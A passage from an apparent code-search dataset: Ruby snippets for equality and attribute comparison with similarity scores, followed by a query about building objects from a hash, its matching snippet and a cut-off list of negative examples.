"def ==(other)\n other.is_a?(self.class) &&\n other.attribute == attribute &&\n other.validation == validation &&\n other.expected == expected &&\n other.actual == actual\n end",
"def == other\n return false unless self.class == other.class\n [:unit, :frequency, :anchor, :weeks, :monthdays, :weekdays, :times].all? do |attribute|\n self.send(attribute) == other.send(attribute)\n end\n end",
"def compare_equal?(item, line_item)\n ![\n :ax_account_number,\n :ax_account_id,\n :ax_order_number,\n :ax_order_id,\n :email_address,\n :first_name,\n :last_name,\n :serial_number,\n :purch_order_form_num\n ].detect { |attr| item.send(attr) != line_item.send(attr) }\n end",
"def ==(b) # :nodoc:\n ( b.respond_to?(:result_attributes) &&\n result_attributes == b.result_attributes && \n @result_attributes.all?{ |k| send(k) == b.send(k) } )\n end",
"def validates_different(*attr_names)\n validates_with ValidatesAll::DifferenceValidator, _merge_attributes(attr_names)\n end",
"def identical?\n #Song.first.attributes.each { |v,k| Song.find(:all, :conditions => [\" #{v} like ?\", \"%blah%\"])}\n Song.find(:all, :conditions => [\"name = ? or length = ?\", \"#{self.name}\", self.length]) do |x| \n x.hash == self.hash\n end\n end",
"def diff?(model = self.class.find(id))\n self.class.diffable_attributes.each do |attribute|\n return true if send(attribute) != model.send(attribute)\n end\n return false\n end",
"def filter_attributes_match?(hash_one, hash_two)\n hash_one.all? do |key, value_one|\n value_two = hash_two[key]\n case\n when value_one == value_two\n true\n when value_one.is_a?(Hash) && value_two.is_a?(Hash)\n filter_attributes_match?(value_one, value_two)\n when hash_one[key].to_s == hash_two[key].to_s\n true\n when value_one.is_a?(String) && value_one.start_with?(\"eval:\")\n eval_attribute_value(value_one, value_two)\n else\n false\n end\n end\n end",
"def comparable_attributes\n#\t\tHashWithIndifferentAccess[attributes.select {|k,v| \n#\t\t\t!Abstract.incomparable_attribute_names.include?(k)}]\n\t\tHashWithIndifferentAccess[attributes.select {|k,v| db_fields.include?(k)}]\n\tend",
"def all_equal?\n a = self.first\n all? { |b| a == b }\n end",
"def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end",
"def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end",
"def attr_set?(cards, attr)\n array = []\n cards.each do |card|\n # evalutes the string 'attr' and returns the value\n array << card.send(attr)\n end\n\n # only return true if it's all the same or totally different\n return true if array.uniq.count == 1\n return true if array.uniq.count == 3\n return false\n end",
"def attribute_changed?(attribute_name)\n (self.diff['attributes']['new']||{})[attribute] != (self.diff['attributes']['old']||{})[attribute]\n end",
"def eql?(other)\n return false if (other.nil? or self.class != other.class)\n return false unless super(other)\n return false unless self.attributes == other.attributes\n return false unless self.nodes == other.nodes\n true\n end",
"def eql?(other)\n return false unless self.class == other.class\n self.key_attributes == other.key_attributes\n end",
"def uniquify_attributes(attributes)\n attributes.each do |ka|\n oldval = send(ka)\n next unless String === oldval\n newval = UniquifierCache.instance.get(self, oldval)\n set_property_value(ka, newval)\n logger.debug { \"Reset #{qp} #{ka} from #{oldval} to unique value #{newval}.\" }\n end\n end",
"def eql?(object)\n self.class.equal?(object.class) && attributes == object.attributes\n end",
"def multi_element_attr_check( elements )\n wanted = Array.new\n found = Array.new\n elements.each do |element|\n print \".\"\n e = $driver.find_element(element[0].to_sym, element[1])\n wanted << [ element[1], element[2], element[3] ]\n found << [ element[1], element[2], e.attribute(element[2]) ]\n end\n\n found.should == wanted\n end",
"def equals(rule)\n element == rule.element && attributes == rule.attributes\n end",
"def attr_reader(*args)\n super\n comparison_attrs.concat(args)\n end",
"def xml_nodes_match_attrs(xml_nodes, attrs, mismatches = [])\n attrs.each_with_index.each { |attr_set, idx|\n xn = xml_nodes[idx]\n attr_set.each { |(attr_key, attr_val)|\n # Either call method, or hash key, or recurse on children\n # p.name vs. p[:name]\n if :children == attr_key\n # recurse over children\n xml_nodes_match_attrs(xn.children, attr_val, mismatches)\n else\n # compare attrs\n xn_val = xn.methods.include?(attr_key) ? xn.send(attr_key) : xn[attr_key]\n if xn_val != attr_val\n mismatches << { node: xn.name_and_class_path, attr: \"#{ attr_key }: expected #{ attr_val.inspect }, got #{ xn_val.inspect }\" }\n end\n end\n }\n }\n mismatches\n end",
"def matches_state_attrs?\n @expected_attrs == state_attrs\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left != right, message)\n end",
"def eql?(other)\n return false unless super(other)\n return false unless attributes == other.attributes\n return false unless content == other.content\n\n true\n end",
"def ==(other)\n return true if other.equal?(self)\n return false unless other.instance_of?(self.class)\n\n self.class.attributes.inject(true) do |memo, attribute|\n attribute_name = attribute.first\n attribute_type = attribute.last[:type]\n\n # Skip associations\n if attribute_type.include?(LazyResource::Resource) || (attribute_type.is_a?(::Array) && attribute_type.first.include?(LazyResource::Resource))\n memo\n else\n memo && self.send(:\"#{attribute_name}\") == other.send(:\"#{attribute_name}\")\n end\n end\n end",
"def matches? item, attributes\n\n attributes.map { |attribute, value|\n\n item.send(attribute) == value\n\n }.flatten == [true]\n\n end",
"def ==( other ) \n\t\t\tcomparison_attributes = lambda{ |area| [ area.area_desc, area.altitude, area.ceiling, area.circles, area.geocodes, area.polygons ]}\n\t\t\tcomparison_attributes.call( self ) == comparison_attributes.call( other )\n\t\tend",
"def all_obs_same_attr?(observations, attr)\n exemplar = observations.first.send(attr)\n observations.all? { |o| o.send(attr) == exemplar }\n end",
"def eql?(*) end",
"def eql?(other)\n return true if equal?(other)\n return false unless self == other\n [:id, :fide_id, :rating, :fide_rating, :title, :gender].each do |m|\n return false if self.send(m) && other.send(m) && self.send(m) != other.send(m)\n end\n true\n end",
"def match\n @matches = attributes_enumerator.map do |(type, value), index|\n attribute_name = self.class.names[index]\n attributes.store(\n attribute_name, type.match(value, context: @context.dup)\n )\n end\n return if (failures = @matches.select(&:invalid?)).empty?\n failures.unshift(failure).reduce(:merge!)\n end",
"def ==(val)\n if val.is_a?(Model)\n # Use normal comparison for a model\n super\n else\n # Compare to attributes otherwise\n attributes == val\n end\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n attribute == o.attribute &&\n statistics == o.statistics &&\n other == o.other &&\n total == o.total &&\n missing == o.missing &&\n term_count == o.term_count &&\n term_type == o.term_type &&\n terms == o.terms\n end",
"def ==(*several_variants)\n #This is a stub, used for indexing\n end",
"def is_equal?(a)\n @amount == a.amount && @code == a.code\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left == right, message)\n end",
"def comparison_attributes\n except_list = ['id', 'updated_at', 'created_at', 'verified_at']\n except_list << 'alternative_phone' unless Spree::Config[:alternative_shipping_phone]\n except_list << 'company' unless Spree::Config[:company]\n\n a = attributes.except(*except_list)\n a.each{|k, v|\n if v.is_a?(String)\n v = v.downcase.strip.gsub(/\\s+/, ' ')\n a[k] = v.present? ? v : nil\n end\n }\n a['state_name'] = nil if a['state_name'].blank?\n a\n end",
"def multi_element_attr_match( elements )\n elements.each do |element|\n print \".\"\n wait_for_element(element[0].to_sym, element[1])\n check_attribute_match(element[0].to_sym, element[1], element[2], element[3])\n end\n end",
"def xml_should_eql(actual, expected)\n same = xml_cmp(actual, expected)\n actual.should.== expected unless same \nend",
"def test_equality_simple\n value1_ = ::Versionomy.create(:major => 2, :minor => 0, :release_type => :alpha, :alpha_version => 5)\n value2_ = ::Versionomy.create(:major => 2, :release_type => :alpha, :alpha_version => 5)\n assert_equal(value2_, value1_)\n assert_equal(value2_.hash, value1_.hash)\n end",
"def ==(other)\n other.is_a?(self.class) &&\n name == other.name &&\n attributes == other.attributes\n end",
"def changes(attrs1, attrs2)\n old_attrs = attrs1.slice(*GENERATED_ATTRS)\n new_attrs = attrs2.slice(*GENERATED_ATTRS)\n\n return if old_attrs == new_attrs\n old_attrs.each do |k, v|\n next if new_attrs[k] == v\n @changes << Change.new(nil, k, v, new_attrs[k]) \n end\n end",
"def tdiff_equal(node)\n if (self.class == node.class)\n case node\n when Nokogiri::XML::Attr\n (self.name == node.name && self.value == node.value)\n when Nokogiri::XML::Element, Nokogiri::XML::DTD\n self.name == node.name\n when Nokogiri::XML::Text, Nokogiri::XML::Comment\n self.text == node.text\n when Nokogiri::XML::ProcessingInstruction\n (self.name == node.name && self.content = self.content)\n else\n false\n end\n else\n false\n end\n end",
"def ==(other)\n name == other.name &&\n color == other.color &&\n age == other.age\n end",
"def more_desirable?(attribute_id1, attribute_id2)\n attribute_id1 < attribute_id2\n end",
"def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end",
"def ==(other)\n # If the classes don't match, they cannot possibly be equal.\n if self.class != other.class\n return false\n end\n\n # If the persisted state doesn't match, they also can never be equal.\n if persisted? != other.persisted?\n return false\n end\n\n # When persisted, check the other's id to see if it's the same,\n # cannot possible be equals if they have different ids.\n if persisted? && id != other.id\n return false\n end\n\n # Finally, compare the attributes hash. If all key/values match,\n # they are considered equal.\n attributes == other.attributes\n end",
"def ==(other)\n self.class == other.class &&\n attributes[\"_id\"] == other.attributes[\"_id\"]\n end",
"def assert_same_values(expected, actual)\n actual.each_pair do |k,v|\n next unless expected[k]\n assert_equal expected[k], v, \"Values for #{k} are not matching\"\n end\n end",
"def assert_equivalent_xml(expected, actual)\n expected_xml = Nokogiri::XML(\"<test-xml>\\n#{expected}\\n</test-xml>\")\n actual_xml = Nokogiri::XML(\"<test-xml>\\n#{actual}\\n</test-xml>\")\n ignored_attributes = %w(style data-disable-with)\n\n equivalent = EquivalentXml.equivalent?(expected_xml, actual_xml, {\n ignore_attr_values: ignored_attributes\n }) do |a, b, result|\n if result === false && b.is_a?(Nokogiri::XML::Element)\n if b.attr('name') == 'utf8'\n # Handle wrapped utf8 hidden field for Rails 4.2+\n result = EquivalentXml.equivalent?(a.child, b)\n end\n if b.delete('data-disable-with')\n # Remove data-disable-with for Rails 5+\n # Workaround because ignoring in EquivalentXml doesn't work\n result = EquivalentXml.equivalent?(a, b)\n end\n if a.attr('type') == 'datetime' && b.attr('type') == 'datetime-local'\n a.delete('type')\n b.delete('type')\n # Handle new datetime type for Rails 5+\n result = EquivalentXml.equivalent?(a, b)\n end\n end\n result\n end\n\n assert equivalent, lambda {\n # using a lambda because diffing is expensive\n Diffy::Diff.new(\n sort_attributes(expected_xml.root),\n sort_attributes(actual_xml.root)\n ).to_s(:color)\n }\n end",
"def sync_duplicate_obj_attributes(obj1, obj2)\n duplicate_keys.each do |key|\n unless obj1[key].blank? && obj2[key].blank?\n if obj1[key].blank?\n obj1.send(\"#{key}=\", obj2[key])\n elsif obj2[key].blank?\n obj2.send(\"#{key}=\", obj1[key])\n else # Each obj has a value\n if obj1[key] != obj2[key]\n raise ArgumentError, \"#{key} attribute values on the two objects don't match: #{obj1[key]} vs #{obj2[key]}\"\n end\n end\n end\n end\n end",
"def eql?(other)\n return true if equal?(other)\n\n # two instances for different models cannot be equivalent\n return false unless other.kind_of?(model)\n\n # two instances with different keys cannot be equivalent\n return false if key != other.key\n\n # neither object has changed since loaded, so they are equivalent\n return true if repository == other.repository && !dirty? && !other.dirty?\n\n # get all the loaded and non-loaded properties that are not keys,\n # since the key comparison was performed earlier\n loaded, not_loaded = properties.select { |p| !p.key? }.partition do |property|\n attribute_loaded?(property.name) && other.attribute_loaded?(property.name)\n end\n\n # check all loaded properties, and then all unloaded properties\n (loaded + not_loaded).all? { |p| p.get(self) == p.get(other) }\n end",
"def assert_event_are_light_equal e1, e2\n return false if e1.class != e2.class\n\n [:subject, :event, :moodid,\n :mood, :music, :location, :taglist, :pickeyword,\n :preformatted, :backdated, :comments, :security, :allowmask,\n :screening,].each do |attr|\n return false if e1.send(attr) != e2.send(attr)\n end\n\n e1.compare_time(e2)\n end",
"def eql(expected)\n set_relativity(:eql, expected)\n end",
"def modified?( original )\n DATA_ATTRIBUTES.any? { |e| send( e ) != original.send( e )}\n end",
"def ==(other)\n @name == other.name && @amount == other.amount\n end",
"def ==(other)\n other.kind_of?(self.class) &&\n @name == other.name && @columns == other.columns && @unique == other.unique?\n end",
"def match_same_name_attributes(*options)\n\n options = options.extract_options!\n same_name_attributes = @from_table.columns.map(&:name) & @to_table.columns.map(&:name)\n\n if same_name_attributes\n same_name_attributes = columns_from_options(same_name_attributes, options)\n same_name_attributes.each do |same_name_attribute|\n from same_name_attribute, :to => same_name_attribute\n end\n end\n end",
"def equal_pair(key, request)\n if @event[\"required\"][key] == request[\"object_attributes\"][key] || event[\"required\"][key] == \"\"\n true\n else\n false\n end\n end",
"def assert_equal(att, value, error = [att, :not_equal])\n assert value === send(att), error\n end",
"def validate\n matched = {}\n duplicated_attributes = []\n attributes.each do |attribute|\n if matched.has_key?(attribute.name) && matched[attribute.name] == attribute.name_format\n duplicated_attributes << attribute.name unless duplicated_attributes.include?(attribute.name)\n else\n matched[attribute.name] = attribute.name_format\n end\n end\n if !duplicated_attributes.empty?\n raise ValidationError, \"An attribute with the same name and name format may only be specified once. The following attributes were specified multiple times: #{duplicated_attributes.join(',')}\"\n end\n end"
] |
[
"0.7291717",
"0.7188103",
"0.70395297",
"0.7007927",
"0.68874705",
"0.6861532",
"0.6707156",
"0.6660597",
"0.66147524",
"0.658478",
"0.6584619",
"0.6580019",
"0.65543133",
"0.6543933",
"0.65068495",
"0.6479513",
"0.6456241",
"0.6415999",
"0.6412208",
"0.6412208",
"0.6412208",
"0.6411266",
"0.6380575",
"0.63775986",
"0.6260147",
"0.6246534",
"0.6240681",
"0.62150854",
"0.62014365",
"0.6186426",
"0.61837834",
"0.6164858",
"0.61304426",
"0.61149454",
"0.6097789",
"0.6083095",
"0.6078927",
"0.6067201",
"0.60053444",
"0.59974694",
"0.5994989",
"0.5991373",
"0.59856457",
"0.5985243",
"0.5977118",
"0.59521115",
"0.59428704",
"0.59311265",
"0.59247756",
"0.5921222",
"0.5921222",
"0.59095234",
"0.58795947",
"0.58789194",
"0.5870439",
"0.58598673",
"0.58571184",
"0.5856412",
"0.5855177",
"0.58480394",
"0.5847516",
"0.58370507",
"0.5799985",
"0.5795313",
"0.57880926",
"0.57823527",
"0.57788265",
"0.5776185",
"0.57670164",
"0.5759791",
"0.5758563",
"0.5753949",
"0.57518554",
"0.5750137",
"0.57385117",
"0.57309806",
"0.5729126",
"0.572618",
"0.57250285",
"0.57210624",
"0.5712646",
"0.5710082",
"0.57059866",
"0.57036847",
"0.5702592",
"0.5690256",
"0.5674193",
"0.56433815",
"0.5641553",
"0.56216776",
"0.56148046",
"0.5591313",
"0.5587681",
"0.55836356",
"0.5569298",
"0.5550885",
"0.5546161",
"0.5545665",
"0.55422115",
"0.5539372",
"0.5529004"
] |
0.0
|
-1
|
Calculates hash code according to all attributes.
|
def hash
[id_conta, id_pessoa, id_cartao, id_bandeira, id_tipo_cartao, numero_cartao, nome_plastico, cvv2, data_geracao, data_validade, cpf, tipo_portador, trilha1, trilha2, trilha_cvv1, trilha_cvv2, flag_virtual, nome_bandeira, flag_titular, sequencial_cartao, id_status, descricao_status_cartao, data_status, id_estagio, descricao_estagio, data_estagio, numero_bin, id_produto, descricao_produto, id_status_conta, descricao_status_conta, data_embossing, codigo_desbloqueio, nome_pessoa, tipo_pessoa, data_nascimento, id_endereco, id_tipo_endereco, descricao_tipo_endereco, cep, logradouro, numero_endereco, complemento_endereco, bairro, cidade, uf, pais, senha_criptografada, icvv, id_status_impressao].hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"def hash(*) end",
"def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"def hash_code; end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end",
"def hash\n prime = 31\n result = 1\n result = result * prime + (@decision_target == nil ? 0 : @decision_target.hash)\n result = prime * result + (@string_id == nil ? 0 : @string_id.hash)\n result\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def hash\n size.hash ^ rank.hash\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash\n @hash || calculate_hash!\n end",
"def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end",
"def hash\n value = 0\n my_rows = @rows\n r_size = my_rows.size\n for i in 0..r_size-1 do\n a_row = my_rows[i]\n a_size = a_row.size\n for j in 0..a_size-1 do\n value ^= a_row[j].hash\n end\n end\n return value\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n [self.class, self.val, self.attribute].hash\n end",
"def hash # :nodoc:\n identifier.hash ^ requirement.hash\n end",
"def hash\n 0\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def hash_code\n prime = 31\n result = 1\n result = prime * result + x\n result = prime * result + y\n return result;\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def hash!\n\t\t@@email.downcase!\n\t\thash = Digest::MD5.hexdigest(@@email)\n\t\treturn hash\n\tend",
"def hash\n ([self.class] + self.class.comparison_attrs.map{|x| send(x)}).hash\n end",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def hash\n @symbols.hash + 37*positive?.hash\n end",
"def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash\n # Memoizing such a simple hash value seems silly, however the\n # profiler showed the Card#hash method as having 22% of the runtime. My\n # memoizing the hash value that was reduced to 12%.\n return @hash unless @hash.nil?\n @hash = @value.hash ^ @suit.hash\n end",
"def hash=(_arg0); end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n [oct, pc].hash\n end",
"def hash\n excl = @excl ? 1 : 0\n hash = excl\n hash ^= @begin.hash << 1\n hash ^= @end.hash << 9\n hash ^= excl << 24;\n # Are we throwing away too much here for a good hash value distribution?\n return hash & Fixnum::MAX\n end",
"def hash\n code.hash\n end",
"def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end",
"def hash\n @vbits.hash\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def hash\n if @sha512hash != nil\n return @sha512hash.to_i(16)\n else\n super\n end\n end",
"def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end",
"def calc_hash(pass)\n salt_cost = SCrypt::Engine.autodetect_cost(self[:salt])\n SCrypt::Engine.scrypt(pass, self[:salt], salt_cost, 32).unpack('H*').first\n end",
"def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
"def hash\n code.hash\n end",
"def hash\n\t\t[@a, @b, self.class::D].hash\n\tend",
"def consistent_hash\n Zlib.crc32(self.to_yaml, 0)\n end",
"def hash\n @hash[:perm_type].hash ^\n @hash[:perms].hash ^\n @hash[:inheritance].hash ^\n @hash[:target].hash\n end",
"def hash( *strs )\n return Digest::MD5.hexdigest( strs.join )\n end",
"def hash\n @rank.hash ^ @suit.hash\n end",
"def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end",
"def hash\n @real.hash ^ @image.hash\n end",
"def to_hash() end",
"def hash_length\n super\n end",
"def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"def hash\n [first_name, last_name, address_one, address_two, city, state, zip, phone, email, country_code].hash\n end",
"def hash() source.hash ^ target.hash; end",
"def calculate_hash(input, prep_hashes)\n result = 0\n input.unpack('U*').each do |x|\n result += prep_hashes.hash(x)\n end\n (result % MOD_VALUE).to_s(HEX)\nend",
"def c_hash\n sha256 = Digest::SHA256.new\n token = @code.token.token\n hashed_token = sha256.digest(token)\n first_half = hashed_token[0...hashed_token.length / 2]\n Base64.urlsafe_encode64(first_half).tr('=', '')\n end",
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def calculate_hash\n\t\toptions = {:firstname => firstname, :email => email, :phone => phone, :txnid => txnid, :surl => surl, :furl => furl, :productinfo => productinfo, :amount => amount}\n\t\tservice = PayuIndia::Helper.new(payment_gateway_key, payment_gateway_salt, options)\n\t\tself.hast = service.generate_checksum\n\tend",
"def hash\n [rank, suit].hash\n end",
"def hash\n self.class.hash ^ left.hash ^ right.hash\n end",
"def generate_hash(*args)\n Digest::SHA3.hexdigest(args.join(''))\n end",
"def hashify_attributes(attrs)\n Hash.new.tap{ |h| attrs.each{|a| h[a] = self.send(a)} }\n end",
"def hash_code\n hash_code = {}\n self.seq.each do |letter|\n hash_code.keys.include?(letter) ? hash_code[letter] += 1 : hash_code[letter] = 1\n end\n hash_code\n end",
"def hash\n\n self.h.fei.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end"
] |
[
"0.7120876",
"0.7039781",
"0.7039781",
"0.7039781",
"0.7039781",
"0.7039781",
"0.7039781",
"0.7039781",
"0.68948233",
"0.67841566",
"0.6706898",
"0.66992533",
"0.6688269",
"0.6669114",
"0.6488987",
"0.64612424",
"0.64612424",
"0.6444354",
"0.6411414",
"0.6396147",
"0.6388743",
"0.63730484",
"0.6356087",
"0.63368154",
"0.6266985",
"0.6253422",
"0.6245711",
"0.62303054",
"0.621897",
"0.6214492",
"0.621283",
"0.6198392",
"0.6191205",
"0.6185318",
"0.61841726",
"0.61841726",
"0.6153035",
"0.6145166",
"0.61434126",
"0.6136185",
"0.61279553",
"0.61226034",
"0.6122499",
"0.6121594",
"0.61032426",
"0.6101073",
"0.6093715",
"0.60920906",
"0.6081973",
"0.608051",
"0.6048595",
"0.60328865",
"0.6021259",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6019902",
"0.6016215",
"0.60140604",
"0.5995909",
"0.59888047",
"0.59863216",
"0.59780973",
"0.5971564",
"0.5969274",
"0.5969058",
"0.59599304",
"0.59558797",
"0.5942239",
"0.59420925",
"0.59248346",
"0.5923993",
"0.59038264",
"0.5903341",
"0.58520687",
"0.5847608",
"0.5846464",
"0.5844732",
"0.5844556",
"0.58437586",
"0.5840487",
"0.58385825",
"0.583681",
"0.58265066",
"0.5823105",
"0.5822428",
"0.58183986",
"0.58163154",
"0.58134687",
"0.58098894",
"0.5808912",
"0.5808912",
"0.5808912",
"0.5807896",
"0.5807896"
] |
0.0
|
-1
|
Builds the object from hash
|
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def build(hash)\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v if variables[k]\n end\n return obj\n end",
"def build_from_hash(attributes)\n\n end",
"def build_from_hash(hash)\n instance = self.new\n\n # Add the instance attributes dynamically from the hash. If the attribute\n # does not already exist, then don't re-add the attribute class and\n # variable, just set it with the value from the hash\n hash.keys.each do |key|\n class_eval { attr_accessor key } unless instance.methods.include?(key.to_sym)\n instance.instance_variable_set \"@#{key}\", hash[key]\n end\n\n instance\n end",
"def build(hash, track_changes = true)\n resource = fields.each_with_object(new) do |field, r|\n value = hash.fetch(field.to_s, hash[field.to_sym])\n r.send(\"#{field}=\", value)\n end\n resource.clear_changes! unless track_changes\n resource\n end",
"def initialize hash\n @hash = hash\n end",
"def build(params)\n return new(params) if params.is_a?(Hash)\n raise(\"unexpected parameter, expected Hash, received #{params.class}\")\n end",
"def initialize( hash )\n\t\t\t@hash = hash.dup\n\t\t\t@dirty = false\n\t\tend",
"def initialize(a_hash)\n from_h(a_hash)\n end",
"def initialize\n\t\t\t@hash = {}\n\t\tend",
"def initialize(hash)\n @hash = hash\n @converted = {}\n end",
"def initialize(hash)\n @short_code = hash[\"short_code\"]\n @name = hash[\"name\"]\n @id = hash[\"id\"]\n end",
"def initialize(hash)\n super(hash)\n end",
"def initialize\n @h = new_hash\n end",
"def new_from_hash(hash)\n if hash == nil\n self.class.new.assign(self)\n else\n hash_obj = hash\n if hash.instance_of?(Hash)\n hash_obj = self.class.new\n merge_hash_into_object(hash, hash_obj)\n end\n instance = self.class.new\n object_assign(instance, hash_obj)\n end\n end",
"def initialize(hash={})\n @hash = hash\n end",
"def initialize\n @hash = {}\n end",
"def initialize\n @hash = {}\n end",
"def initialize(hash)\r\n hash.each { |k, v|\r\n # Create getters and setters\r\n self.class.attr_accessor(k)\r\n # Set value for created variable\r\n self.send(\"#{k}=\", v)\r\n }\r\n self.class.all.push(self)\r\n end",
